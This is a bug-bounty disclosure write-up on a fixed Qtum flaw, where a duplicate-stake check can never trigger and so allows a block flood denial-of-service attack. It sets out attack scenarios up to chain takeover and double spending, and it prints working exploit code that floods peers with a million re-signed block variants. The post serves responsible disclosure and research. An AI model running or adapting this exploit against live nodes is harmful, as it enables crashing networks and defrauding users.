Welcome back. Today we open Qtum. We started to participate in Qtum's bug bounty program many months ago and we already submitted several findings there, all of which have been accepted. Today we present one of the vulnerabilities that have been fixed already in the code base. Qtum's bug bounty program is one of the better ones. The rewards could be higher, the responsiveness could be better, sometimes we have disagreements, but overall it's reasonable and professional and definitely above the average in the space.
As usual, the proof of knowledge is provided at the end of the article and the report is valid at the time of writing.
Block Flood Attack
Bug type: DoS
Bug severity: 6/10
Scenario 1
Attacker cost: low
In this scenario the attacker targets one or more specific nodes that the attacker wants to crash. The attacker needs a direct connection to the target node, so we expect the target node to be operating on publicly accessible network interface – i.e. public IP address and open firewall port. The attacker also needs a small amount of coins in order to be able to produce a valid block. Eventually, the attacker is able to create connection to every public node in the network and then when it succeeds to create a new block, it will crash all nodes it is connected to. If the attacker managed to connect to all public nodes, or at least a significant majority of such nodes, the network will become dysfunctional after these nodes crash. In order to recover, the node operators have to delete their database and synchronise the blockchain from scratch. Simply restarting the node will not help.
Scenario 2
Attacker cost: medium
In this scenario, the attacker buys nontrivial amount of coins and it also performs a sybil attack against the network – this means it will create a large number of fully operational public nodes. Then it will perform Scenario 1 attack against all other public nodes in order to crash them. This will cause that all the block propagation in the network will only have to go through the public nodes of the attacker. This allows the attacker to censor any transaction as well as censor any block, which further allows the attacker to create a longest chain with just a fractional stake, compared to the original staking power of the network. With just a fraction of the network staking power, the difficulty will go down very quickly because the blocks will not be produced within the expected timeframe. Eventually the difficulty will decrease enough for the attacker to produce a chain that looks healthy and it is fully controlled by the attacker. This allows the attacker to perform additional attacks such as double spending. Also in this case, non-public nodes will be connected to attacker's nodes, so it is possible here to crash them as well.
Description:
In ProcessNetBlock we can find:
// ppcoin: check proof-of-stake
// Limited duplicity on stake: prevents block flood attack
// Duplicate stake allowed only when there is orphan child block
if (!fReindex && !fImporting && pblock->IsProofOfStake() && (setStakeSeen.count(pblock->GetProofOfStake()) > 1) && !mapOrphanBlocksByPrev.count(hash))
return error("ProcessNetBlock() : duplicate proof-of-stake (%s, %d) for block %s", pblock->GetProofOfStake().first.ToString(), pblock->GetProofOfStake().second, hash.ToString());
Type of setStakeSeen is std::set<std::pair<COutPoint, unsigned int>>&, so this means that the condition of its count() to be greater than one can never be satisfied. As we can read in C++ reference:
Returns the number of elements with key that compares equivalent to the specified argument, which is either 1 or 0 since this container does not allow duplicates.
This means that duplicate kernel will never be rejected by this code. This seems to be very unique to Qtum's implementation as other similar code bases don't have this "> 1" condition, just simply if count() is non-zero. This opens a possibility for an attacker to perform the block flood attack, which is a very old known attack on this type of consensus. It has been known, at least, since 2012. The attacker needs to be able to produce one valid block, for that she needs a certain small amount of stake. When the attacker's coin is able to produce a new block, it can create a large number of different versions of this block through modification of the nonce in the block's header. It can then send these different versions to its target through NetMsgType::BLOCK, which will cause the target node to crash eventually because of memory exhaustion.
This attack is very cheap because the attacker just needs to mine a single block occasionally, from which it can create any number of different versions of such a block. Moreover, the cost can be reduced drastically using a simple optimisation. For this attack to work, the new valid block does not need to extend the tip of the chain (and it is actually beneficial for the attacker not to extend the tip, because it would cause the new block's kernel coin to be marked as spent when the first version of the block is connected). It can extend any of the last 500 blocks (not more due to the maximum reorganization protection). So the first step in the optimisation is that the attacker tries to find a new block that extends any of the 500 previous blocks, which effectively multiplies its stake power roughly by 500. Even that can be improved if we consider that for each of the past 500 blocks, the attacker can try different timestamps from the time of the previous block up to the current time. This increases the effective stake of the attacker humongously, which makes the attack realistic with less than 0.0001% of the network staking power.
In our implementation, we only applied the second optimisation, which means that are attacker chooses a block in the past, namely at height -100 from the tip, then she searches for suitable timestamp up to the current time. We did not need to optimise more because we have given the attacker enough coins.
The main part of our exploit follows. This code replaces part of the original code of ThreadStakeMiner.
if(pwallet->HaveAvailableCoinsForStaking())
{
CBlockIndex* pindexPrev = chainActive.Tip();
for (int i = 0; i < 100; i++) {
pindexPrev = pindexPrev->pprev;
}
int64_t nTotalFees = 0;
// First just create an empty block. No need to process transactions until we know we can create a block
std::unique_ptr<CBlockTemplate> pblocktemplate(BlockAssembler(Params()).CreateEmptyBlock(pindexPrev, reservekey.reserveScript, true, true, &nTotalFees));
if (!pblocktemplate.get())
return;
uint32_t beginningTime = pindexPrev->nTime + STAKE_TIMESTAMP_MASK + 1;
beginningTime &= ~STAKE_TIMESTAMP_MASK;
for(uint32_t i=beginningTime;i<GetAdjustedTime();i+=STAKE_TIMESTAMP_MASK+1) {
// The information is needed for status bar to determine if the staker is trying to create block and when it will be created approximately,
if(pwallet->m_last_coin_stake_search_time == 0) pwallet->m_last_coin_stake_search_time = pindexPrev->nTime + STAKE_TIMESTAMP_MASK + 1; // startup timestamp
// nLastCoinStakeSearchInterval > 0 mean that the staker is running
pwallet->m_last_coin_stake_search_interval = i - pwallet->m_last_coin_stake_search_time;
// Try to sign a block (this also checks for a PoS stake)
pblocktemplate->block.nTime = i;
std::shared_ptr<CBlock> pblock = std::make_shared<CBlock>(pblocktemplate->block);
CKey key;
if (SignBlock(pblock, *pwallet, nTotalFees, i, key, pindexPrev)) {
// increase priority so we can build the full PoS block ASAP to ensure the timestamp doesn't expire
SetThreadPriority(THREAD_PRIORITY_ABOVE_NORMAL);
// Create a block that's properly populated with transactions
std::unique_ptr<CBlockTemplate> pblocktemplatefilled(
BlockAssembler(Params()).CreateNewBlock(pblock->vtx[1]->vout[1].scriptPubKey, true, true, &nTotalFees,
i, FutureDrift(GetAdjustedTime()) - STAKE_TIME_BUFFER, pindexPrev));
if (!pblocktemplatefilled.get())
return;
// Sign the full block and use the timestamp from earlier for a valid stake
std::shared_ptr<CBlock> pblockfilled = std::make_shared<CBlock>(pblocktemplatefilled->block);
if (SignBlock(pblockfilled, *pwallet, nTotalFees, i, key, pindexPrev)) {
// Should always reach here unless we spent too much time processing transactions and the timestamp is now invalid
{
// Update the search time when new valid block is created, needed for status bar icon
pwallet->m_last_coin_stake_search_time = pblockfilled->GetBlockTime();
for (int i = 0; i < 1000000; i++) {
pblockfilled->nNonce++;
if (key.Sign(pblockfilled->GetHashWithoutSign(), pblockfilled->vchBlockSig)) {
const CBlock& block = *pblockfilled;
g_connman->ForEachNode([&block](CNode* pnode) {
const CNetMsgMaker msgMaker(pnode->GetSendVersion());
g_connman->PushMessage(pnode, msgMaker.Make(NetMsgType::BLOCK, block));
});
}
}
}
break;
}
//return back to low priority
SetThreadPriority(THREAD_PRIORITY_LOWEST);
}
}
}
Some minor changes are also needed in other parts of the code:
- block assembler functions, SignBlock, and CreateCoinStake were extended to accept specification of the block to build on;
- SignBlock is returning the key, which is needed for resigning the block after it was changed;
- checks that would prevent building a new block on the top of an old block were removed from SignBlock;
- AvailableCoinsForStaking was modified in order to select coins from the wallet considering building on the old block.
Proof of Knowledge
As usual in case of already fixed bugs, we should present a proof that we were aware of the bug before it was fixed. We do that with the help of OpenTimestamps. Our timestamp data is the following string:
art_of_bug - Qtum - Block flood attack. setStakeSeen set is used incorrectly, which allows the attacker to cause memory exhaustion through CBlockIndex allocations in AddToBlockIndex.
The OTS file proving our knowledge converted to hex looks as follows:
004f70656e54696d657374616d7073000050726f6f6600bf89e2e884e8929401088f532d9260ab1f07d497b0bb663024a88ea12962b69fc48796c00788c5d73eeef010ebdf1eb49bfae2be811b8380def9ca5f08fff010c09351b30cf56cf69f0e2d8df459f3f008f1045cd59fedf008935f2a56fb85f3eb0083dfe30d2ef90c8e2e2d68747470733a2f2f616c6963652e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267fff0104bf648e37527d0ee7394ca508021033d08f1045cd59feef00839678eed5e00c48b0083dfe30d2ef90c8e2c2b68747470733a2f2f626f622e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267f010c51f462b73553e24b695e530f7e3364208f010859051074aacc5ab4319b5709bfa831508f1045cd59feef008667f4fb6b1110b850083dfe30d2ef90c8e292868747470733a2f2f66696e6e65792e63616c656e6461722e657465726e69747977616c6c2e636f6d
If you run OpenTimestamps client correctly, you should see something like this:

This proves that we created the record on 10th May 2019, well before the fix was implemented on 24th June.